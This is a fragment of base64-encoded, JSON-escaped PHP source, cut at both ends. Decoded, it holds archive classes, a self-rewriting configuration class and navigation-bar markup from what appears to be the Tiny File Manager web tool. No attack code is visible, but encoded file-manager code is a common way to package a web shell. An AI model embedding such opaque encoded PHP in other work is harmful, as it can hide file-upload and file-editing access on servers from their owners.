gICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcbiAgICB7XG4gICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcbiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XG4gICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkge1xuICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxuICAgIHtcbiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykge1xuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuXC8qKlxuICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpXG4gKlwvXG5jbGFzcyBGTV9aaXBwZXJfVGFyXG57XG4gICAgcHJpdmF0ZSAkdGFyO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT50YXIgPSBudWxsO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkdGhpcy0+dGFyID0gbmV3IFBoYXJEYXRhKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUylcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAgICAgKiBAcmV0dXJuIGJvb2xcbiAgICAgKlwvXG4gICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpO1xuICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpO1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aClcbiAgICB7XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTYXZlIENvbmZpZ3VyYXRpb25cbiAqXC9cbmNsYXNzIEZNX0NvbmZpZ1xue1xuICAgIHZhciAkZGF0YTtcblxuICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7XG4gICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwgLiAkX1NFUlZFUltcIlBIUF9TRUxGXCJdO1xuICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KFxuICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsXG4gICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLFxuICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlXG4gICAgICAgICk7XG4gICAgICAgICRkYXRhID0gZmFsc2U7XG4gICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHtcbiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nO1xuICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJ1wvJykge1xuICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnXC8nKTtcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj1cIicgLiAkZm1fdXJsIC4gJ1wiPicgLiAkZm1fdXJsIC4gJzxcL2E+JztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGRpZSgkbXNnKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTtcbiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNhdmUoKVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTtcbiAgICAgICAgJGZtX2ZpbGUgPSBpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpID8gJGNvbmZpZ19maWxlIDogX19GSUxFX187XG4gICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJztcbiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTtcbiAgICAgICAgJGNvbmZpZ19zdHJpbmcgPSBcIjw/cGhwXCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuIFwiXC9cL0RlZmF1bHQgQ29uZmlndXJhdGlvblwiIC4gY2hyKDEzKSAuIGNocigxMCkgLiBcIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7XCIgLiBjaHIoMTMpIC4gY2hyKDEwKTtcbiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkge1xuICAgICAgICAgICAgJGxpbmVzID0gZmlsZSgkZm1fZmlsZSk7XG4gICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCBcIndcIikpIHtcbiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7XG4gICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykge1xuICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cblwvXC8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS1cblxuXC8qKlxuICogU2hvdyBuYXYgYmxvY2tcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfbmF2X3BhdGgoJHBhdGgpXG57XG4gICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlO1xuICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJztcbj8+XG4gICAgPG5hdiBjbGFzcz1cIm5hdmJhciBuYXZiYXItZXhwYW5kLWxnIG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4gYmctYm9keS10ZXJ0aWFyeVwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICA8YSBjbGFzcz1cIm5hdmJhci1icmFuZFwiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8XC9hPlxuICAgICAgICA8YnV0dG9uIGNsYXNzPVwibmF2YmFyLXRvZ2dsZXJcIiB0eXBlPVwiYnV0dG9uXCIgZGF0YS1icy10b2dnbGU9XCJjb2xsYXBzZVwiIGRhdGEtYnMtdGFyZ2V0PVwiI25hdmJhclN1cHBvcnRlZENvbnRlbnRcIiBhcmlhLWNvbnRyb2xzPVwibmF2YmFyU3VwcG9ydGVkQ29udGVudFwiIGFyaWEtZXhwYW5kZWQ9XCJmYWxzZVwiIGFyaWEtbGFiZWw9XCJUb2dnbGUgbmF2aWdhdGlvblwiPlxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJuYXZiYXItdG9nZ2xlci1pY29uXCI+PFwvc3Bhbj5cbiAgICAgICAgPFwvYnV0dG9uPlxuICAgICAgICA8ZGl2IGNsYXNzPVwiY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlXCIgaWQ9XCJuYXZiYXJTdXBwb3J0ZWRDb250ZW50XCI+XG5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgICAgICAgICAgJHJvb3RfdXJsID0gXCI8YSBocmVmPSc/cD0nPjxpIGNsYXNzPSdmYSBmYS1ob21lJyBhcmlhLWhpZGRlbj0ndHJ1ZScgdGl0bGU9J1wiIC4gRk1fUk9PVF9QQVRIIC4gXCInPjxcL2k+PFwvYT5cIjtcbiAgICAgICAgICAgICRzZXAgPSAnPGkgY2xhc3M9XCJicmVhZC1jcnVtYlwiPiBcLyA8XC9pPic7XG4gICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpO1xuICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7XG4gICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xuICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykge1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJ1wvJyAuICRleHBsb2RlZFskaV0sICdcLycpO1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcbiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSBcIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPlwiIC4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRleHBsb2RlZFskaV0pKSAuIFwiPFwvYT5cIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPVwiY29sLXhzLTYgY29sLXNtLTVcIj4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzxcL2Rpdj4nO1xuICAgICAgICAgICAgPz5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy02IGNvbC1zbS03XCI+XG4gICAgICAgICAgICAgICAgPHVsIGNsYXNzPVwibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtIG1yLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xXCIgc3R5bGU9XCJtYXJnaW4tdG9wOjRweDtcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24yXCIgaWQ9XCJzZWFyY2gtYWRkb25cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMFwiIGlkPVwic2VhcmNoLWFkZG9uMlwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9zcGFuPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wXCIgZGF0YS1icy10b2dnbGU9XCJkcm9wZG93blwiIGFyaWEtaGFzcG9wdXA9XCJ0cnVlXCIgYXJpYS1leHBhbmRlZD1cImZhbHNlXCI+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1yaWdodFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJkcm9wZG93bi1pdGVtXCIgaHJlZj1cIjw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz5cIiBpZD1cImpzLXNlYXJjaC1tb2RhbFwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNzZWFyY2hNb2RhbFwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz5cIiBjbGFzcz1cIm5hdi1saW5rXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+XCIgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjY3JlYXRlTmV3SXRlbVwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNjcmVhdGVOZXdJdGVtXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBkcm9wZG93bi10b2dnbGVcIiBpZD1cIm5hdmJhckRyb3Bkb3duTWVudUxpbmstNVwiIGRhdGEtYnMtdG9nZ2xlPVwiZHJvcGRvd25cIiBhcmlhLWV4cGFuZGVkPVwiZmFsc2VcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYSBmYS11c2VyLWNpcmNsZVwiPjxcL2k+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtZW5kIHRleHQtc21hbGwgc2hhZG93XCIgYXJpYS1sYWJlbGxlZGJ5PVwibmF2YmFyRHJvcGRvd25NZW51TGluay01XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz5cIiBjbGFzcz1cImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmtcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MlwiPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+XCIgY2xhc3M9XCJkcm9wZG93bi1pdGVtIG5hdi1saW5rXCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW1cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nX